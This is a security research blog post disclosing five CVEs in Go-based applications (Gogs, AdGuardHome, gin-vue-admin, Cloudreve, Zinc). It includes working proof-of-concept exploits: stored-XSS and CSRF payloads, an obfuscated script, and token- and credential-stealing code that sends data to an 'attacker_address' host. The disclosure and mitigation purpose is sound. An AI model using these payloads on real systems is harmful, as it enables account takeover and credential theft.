A Rash of Recent CVEs in Go
Table of Contents
At 12 years old, Go is a relatively new programming language–but it’s a popular one when it comes to cloud-native computing. CockroachDB, Docker, Kubernetes, and AdGuardHome (byAdGuard) are all built on Go, and the Go GitHub repository has over 105,000 stars, putting it in third place as a GitHub star leader. As a recent ACM magazine article puts it, “Go is the foundation for critical infrastructure at every major cloud provider and is the implementation language for most projects hosted at the Cloud Native Computing Foundation.”
However, there’s a common perception that the security posture of Go could improve. The Mend research team wanted to see if that perception matched up with reality, and we decided to do a little digging. In the process, we uncovered five new vulnerabilities. Let’s take a look:
Stored XSS Leading to account takeover in Gogs (CVE-2022-32174)
CVSS Score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H (9.0)
Considered by many to be one of the best open source Git web interfaces, Gogs is a self-hosted Git service that primarily targets DevOps teams. It is a highly populated package with 41,000stars in the GitHub repository.
With this CVE, a low-privilege attacker can inject malicious script inside the ‘Full Name’ field in the settings section of the application. The script will be stored in the server with no sanitation.
The injected script intends to execute an external JavaScript file, served by the attacker’s server. This will occur once the browser successfully renders the ‘Full Name’ parameter. Next, the attacker navigates to a certain repository that is shared with an admin user and opens a new Git issue.
Once the admin logs into the application, a new notification will be displayed under the same repository. Once it is clicked on, the new issue will be presented.
When the admin assigns this issue to the low-privilege user, the malicious code will be rendered, leading to the execution of the served file in the administrator’s context.
Let’s go over the “xss.js” file and see what happens next.
let a ="";
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/',true);
req.send();
function handleResponse() {
a=(document.documentElement.innerHTML).match(/_csrf" content=".{1,}"/)[0];
a=a.split("_csrf\" content=\"")[1];
a=a.split("\"")[0];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/admin/users/2', true);
changeReq.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
changeReq.send('_csrf='+a+'&login_type=0-0&login_name=&full_name=%3Cscript+src%3Dhttp%3A%2F%2Fattacker_address%3A8181%2Fxss.js%3E%3C%2Fscript%3E&email=user1%40localhost.com&password=&website=&location=&max_repo_creation=-1&active=on&admin=on&allow_git_hook=on');
Once this script is executed in the admin’s active session, a POST request will be sent to “/admin/users/2”. The purpose of this endpoint is to allow changes for a specific user ID – in this case, user number 2, which belongs to the attacker. The request will be sent with the Admin session token along with other parameters that will identify the target user, such as ‘full_name’. The most important parameter here is “admin”. This parameter will determine whether the target user will have admin privileges or not. In our case, the attacker’s account will become an administrator.
Once the attacker refreshes the session, an Admin panel will become accessible, indicating that the attack was successful.
The attacker was just promoted to an administrator! This allows them to do things such as read or modify data of other application users. Administrators can also access the Admin Panel, thus allowing the attacker to manage all users, organizations, repositories, configuration, and so on.
CSRF in AdGuardHome (CVE-2022-32175)
CVSS Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L (5.4)
AdGuardHome is highly regarded software for blocking ads and trackers, with 13,000 stars in the GitHub repository.
This CVE uses social engineering to exploit the ability of an administrator (in the role of a network manager) to add custom filtering rules to allow or disallow network users access to different resources. In a default state, there are no rules.
An attacker starts by using social engineering techniques to persuade an administrator to follow a link, which triggers execution of this malicious script:
<html>
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
<form id="myForm" name="myForm" action="http://192.168.1.153/control/filtering/set_rules" method="POST" enctype="text/plain">
<input type="text" name="/google.com(" value=")?/">
<input type="submit"/>
</form>
</body>
</html>
Here, we will use Google’s domain as a proof of concept example.
Once the authorized user’s browser executes that script, the following will happen. A POST request will be sent to “/control/filtering/set_rules” endpoint with a parameter, containing a regex for Google’s domain. Since browser requests often automatically include any credentials associated with the site, the request will be sent to the server under the privileges of the administrator.
Eventually, it will result in the deletion or modification of custom filtering rules. In our scenario, Google’s domain would be added to a blacklist.
As a result, network members will not be able to access Google. In a real-life scenario, this can be used to compromise the availability of all network devices by preventing access to necessary online resources.
The query log will confirm the addition of the rule.
Unrestricted File Upload in “gin-vue-admin” (CVE-2022-32176 ; CVE-2022-32177)
CVSS Score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H (9.0)
Gin-vue-admin is considered to be one of the best management platforms for administrators due to the integrated JWT authentication, permission management, dynamic routing, and so on. Gin-vue-admin has 15,000 stars in the GitHub repository.
With this CVE, low-privilege attackers can upload a malicious file to the media library via ‘Normal Upload’ or ‘Compress Upload’ functionalities.
The attacker can upload the following image file. Although the file will have a .PNG extension, it will contain the JavaScript code:
<script>
var i=new Image;
i.src="http://attacker_address/?"+localStorage.getItem('token');
</script>
The script will attempt to extract the content of a user’s session token and exfiltrate it to the attacker’s listening server. The attacker can then use a proxy at the time of upload to intercept the request for modification purposes.
The attacker will replace the .png extension with .html and send the request to the server.
When an administrator accesses the media library and presses on the newly uploaded file, JavaScript code will be executed on the admin’s browser. As a result, the admin’s session token will be sent to the attacker’s server.
The attacker will then have to replace the admin’s token with the one of the low-privilege user in order to perform account takeover. Once the cookie is exchanged, the attacker will gain control over the admin’s session and complete the attack. Realistically speaking, this gives attackers control over critical sections of the application such as user management, API management, role management, and more. As a result, the attacker will be able to directly affect other users in the application.
Stored Cross-Site Scripting leading to Privilege Escalation in Cloudreve (CVE-2022-32167)
CVSS Score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N (5.4)
Cloudreve is a file management and sharing system with 16,000 stars in the GitHub repository. With this CVE. a low-privilege attacker can upload a malicious HTML file into the application.
The file contains a JavaScript payload that will execute an external JavaScript stored on the attacker’s server.
<img src=x onerror=this.src='http://attacker_address/?x='+localStorage.getItem("creds")>
The “lpeexploit.js” file sends a POST request to “/api/v3/admin/user/2” (2 is the user ID of the low-privileged user) with a parameter called “GroupID” that contains the value of ‘1’. This script, when executed in an administrator context, will elevate the privileges of the low-privilege user.
fetch("http://localhost:5212/api/v3/admin/user/2")
.then(response => response.text())
.then(data => {
var post = JSON.parse(data);
delete post.code;
delete post.msg;
post.user = post.data;
delete post.data;
var post2 = post.user;
post2['GroupID'] = 1;
var post_data = JSON.stringify(post);
fetch("http://localhost:5212/api/v3/admin/user",
{
headers: {
'Accept': 'application/json, text/plain, */*',
'Content-Type': 'application/json',
},
method: "POST",
body: post_data
});
});
Once the file is successfully uploaded, the attacker will create a shareable link following this format: /api/v3/share/content/<identifier>?path=null.
This URL leads to a web page that presents the uploaded data in an unsanitized form. Attackers can then use social engineering techniques to induce an administrator to click the link and activate the malicious script. Once that is done, the admin’s browser will render the HTML-JavaScript payload and grant administrator privileges to the attacker. As an administrator, it will be possible to access the admin panel and manage application users. As a result, it will be possible to access sensitive information of other users.
Stored Cross-Site Scripting in Zinc (CVE-2022-32171 ; CVE-2022-32172)
CVSS Score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N (5.4)
Often thought of as a lightweight alternative to Elastisearch, Zinc is a highly popular search engine that does full text indexing. It has 12,000 stars in the GitHub repository. In both of the CVEs, A low-privilege attacker can create a new user/template with a malicious JavaScript payload as its ID.
Note: In this section, we will take CVE-2022-32171 as an example.
The payload will look like the following:
“><img src=x onerror=this.src=’http://attacker_address/?x=’+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])
It is equivalent to:
<img src=x onerror=this.src='http://attacker_address/?x='+localStorage.getItem("creds")>
However, the application will only accept the encoded form of ‘localStorage.getItem(“creds”)’. The encoding type is unique since it is based on the atomic parts of JavaScript. It uses only six different characters.
The first part of the payload will specify the attacker’s address, and the second part will specify the data to be sent. The outgoing data will contain the victim’s plaintext credentials encoded in base64. This happens because all user credentials are encoded in base64 and saved as an attribute called “creds” in local storage of the browser.
If an application’s administrator tries to delete the newly created user, an error message will appear, rendering the payload that exfiltrates the administrator’s credentials to the attacker’s server.
The attacker will therefore get the credentials of the administrator.
Here are some of the logs found in the attacker’s server. One of them contains the base64 encoded credentials of the administrator.
Impact
Exploiting these vulnerabilities will primarily lead to account takeover and privilege escalation. This will affect each and every CIA metric. In other words, the confidentiality, integrity, and availability of end users in the open source community will be compromised. Organizations that use vulnerable open source components will be at risk, since the exploitation of these vulnerabilities may lead to even larger-scale attacks impacting a wide range of users.
It is relatively easy to exploit these vulnerabilities, but most of them do require some form of user interaction in order to be completed successfully, meaning that the attacker alone will not be able to complete the attacks. The attacker will have relied on the victims to innocently click/open links or do operations (with no security in mind) – only then, will these attacks proceed.
Takeaways
Every programming language has its own risks and dangers, and Go is no exception. We’ll start with some high-level recommendations when developing using Go or using open-source applications that are implemented in Go.
- When importing external libraries from GitHub or Go repository, keep in mind that it was not necessarily developed with security in mind.
- Make sure to properly sanitize and escape user input to avoid cross site scripting attacks. In general, good sanitation will also prevent other types of injection-based attacks.
For more detailed information, check out the following infographic: